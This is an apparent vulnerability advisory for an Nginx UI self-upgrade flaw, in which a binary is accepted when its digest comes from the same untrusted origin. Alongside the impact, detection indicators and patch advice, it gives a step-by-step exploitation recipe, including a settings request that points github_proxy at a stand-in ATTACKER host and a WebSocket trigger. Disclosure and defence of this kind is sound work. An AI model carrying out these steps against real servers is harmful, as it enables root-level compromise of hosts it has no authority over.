CVE-2026-107812: 
Nginx UI vulnerability analysis and mitigation

CVE-2026-107812 is a "Download of Code Without Integrity Check" (CWE-494) vulnerability in Nginx UI, a web-based management interface for the Nginx web server. The self-upgrade mechanism in versions 2.0.0 through 2.4.x fetches both the release binary and its SHA-512 digest from the same origin (the cloud.nginxui.com mirror or a configurable github_proxy), then verifies the binary solely by comparing it against that co-located digest — with no cryptographic signature verification. A compromised mirror, DNS/BGP hijack, or on-path MITM attacker who can alter both responses can substitute a malicious binary and a matching digest, achieving remote code execution when an operator triggers an upgrade. The vulnerability was published on August 12, 2026, and patched in version 2.5.0. It carries a CVSS v3.1 base score of 7.5 (High) (Github Advisory, GitHub Security Advisory).

The root cause (CWE-494) lies in internal/upgrader/upgrade.go, where DownloadLatestRelease fetches both the tarball (*.tar.gz) and its digest (*.tar.gz.digest) through the same version.GetUrl() function — meaning both artifacts share the same untrusted origin. The integrity check digestFileContent == DigestSHA512(tarName) is trivially satisfied by any attacker who controls that origin, since they can supply a matching digest for any arbitrary binary. After the check passes, selfupdate.CommitBinary replaces the running executable and the process restarts, executing the attacker-supplied binary as the nginx-ui process user (typically root). A compounding issue is that settings/http.go accepts http:// URLs for github_proxy (validated only with binding:"omitempty,url"), meaning the binary and digest can be fetched over cleartext HTTP, enabling on-path MITM without needing to compromise the mirror itself (Github Advisory, GitHub Security Advisory).

Successful exploitation results in arbitrary code execution as the nginx-ui process user, which is typically root, giving an attacker complete control over the host system. All three security dimensions are fully compromised: confidentiality (access to all data on the host), integrity (ability to modify any file or configuration), and availability (ability to disrupt or destroy services). In a fleet-wide scenario where the upstream mirror (cloud.nginxui.com or the GitHub release CDN) is compromised, every Nginx UI instance that performs an upgrade would be affected simultaneously, enabling mass lateral movement across all managed servers (Github Advisory).

A proof-of-concept demonstrating the full exploit mechanism is publicly available in the GitHub Security Advisory, live-verified against the official Docker image uozi/nginx-ui:2.3.11 (GitHub Security Advisory). The PoC shows an attacker-controlled HTTP server serving a malicious tarball and matching SHA-512 digest, with the upgrade triggered via WebSocket, resulting in root-level code execution. Exploitation requires operator-initiated upgrade (user interaction), and the attacker must control or intercept the download path (high attack complexity), but no credentials are required if the mirror itself is compromised. The EPSS score is approximately 0.173% (6th percentile), and there is no evidence of active in-the-wild exploitation or CISA KEV catalog listing as of the advisory date (Github Advisory). Qualys scanner (detection ID 532900) has added detection for this vulnerability (Feedly).

1. Set up attacker HTTP server: Configure an HTTP server (e.g., on port 8890) to serve two endpoints: any request for *.tar.gz returns a malicious tarball containing a shell script named nginx-ui (e.g., one that writes UPGRADE_RCE_EXECUTED uid=$(id -u) to /tmp/UPGRADE_PWNED), and any request for *.digest returns the SHA-512 hash of that tarball.
2. Redirect the upgrade download origin: Depending on the attack scenario — (A) compromise or spoof cloud.nginxui.com/GitHub CDN via DNS/BGP hijack, (B) perform on-path MITM against a target using an http:// github_proxy, or (C, mechanism demo) send POST /api/settings with body {"http": {"github_proxy": "http://ATTACKER:8890"}} to redirect downloads to the attacker server.
3. Trigger the operator-initiated upgrade: Connect via WebSocket to GET /api/upgrade/perform and send the JSON message {"channel": "stable"} to initiate the self-upgrade process.
4. Observe integrity bypass: The Nginx UI application fetches both the .tar.gz and .tar.gz.digest from the attacker-controlled origin over cleartext HTTP. The SHA-512 digest check passes because the attacker supplied both artifacts. No cryptographic signature is verified.
5. Achieve root code execution: The application calls selfupdate.CommitBinary, replacing the running nginx-ui executable with the malicious script. On process restart, the attacker's code executes as root, confirmed by the presence of /tmp/UPGRADE_PWNED containing uid=0 in the PoC demonstration (GitHub Security Advisory).

• Network: Outbound HTTP (cleartext, port 80 or non-standard) connections from the Nginx UI host to unexpected IP addresses during an upgrade event; DNS queries for cloud.nginxui.com resolving to unexpected IP addresses; WebSocket connections to /api/upgrade/perform followed immediately by connections to non-GitHub/non-nginxui.com hosts.
• File System: Presence of unexpected files such as /tmp/UPGRADE_PWNED or other marker files written by a malicious upgrade payload; the nginx-ui binary replaced with a shell script or unexpected executable (check file type with file $(which nginx-ui)); new .minisig files absent in older versions alongside tarballs in temp directories.
• Logs: Nginx UI application logs showing Downloading latest release → Performing core upgrade → restart sequence with download URLs pointing to non-official origins; HTTP access logs on the Nginx UI host showing GET requests to *.tar.gz and *.tar.gz.digest from an unexpected source IP.
• Process: Unexpected child processes spawned by the nginx-ui process after an upgrade (e.g., /bin/sh, bash, curl, wget); nginx-ui process running with uid=0 executing shell commands not typical of normal operation (GitHub Security Advisory).

Upgrade Nginx UI to version 2.5.0 or later immediately; this release adds Minisign cryptographic signature verification (*.tar.gz.minisig) with a public key pinned in the binary, so a compromised mirror or MITM cannot substitute a malicious binary even with a matching SHA-512 digest (v2.5.0 Release, Patch Commit). As an interim workaround, avoid triggering upgrades from the UI until patched, and ensure github_proxy is either unset or configured with an https:// URL only. Network-level controls should restrict outbound connections from the Nginx UI host to only trusted upgrade endpoints over HTTPS. Note: if any instance previously ran version 2.3.6 or earlier, credentials may have been exposed via separate vulnerabilities; the v2.5.0 release notes recommend rotating JwtSecret, node secrets, and reviewing access logs after upgrading (v2.5.0 Release).

The vulnerability was reported by security researcher novice-22 and published by the project maintainer 0xJacky on August 12, 2026, with the GitHub Advisory Database entry reviewed on October 9, 2026 (Github Advisory). A Mastodon post from @thehackerwire noted the disclosure shortly after publication. Tenable added container security detection (plugin 474031) for the vulnerability. No major media coverage or significant community controversy has been identified beyond standard vulnerability tracking aggregators (VulDB, vulners.com, cvefeed.io).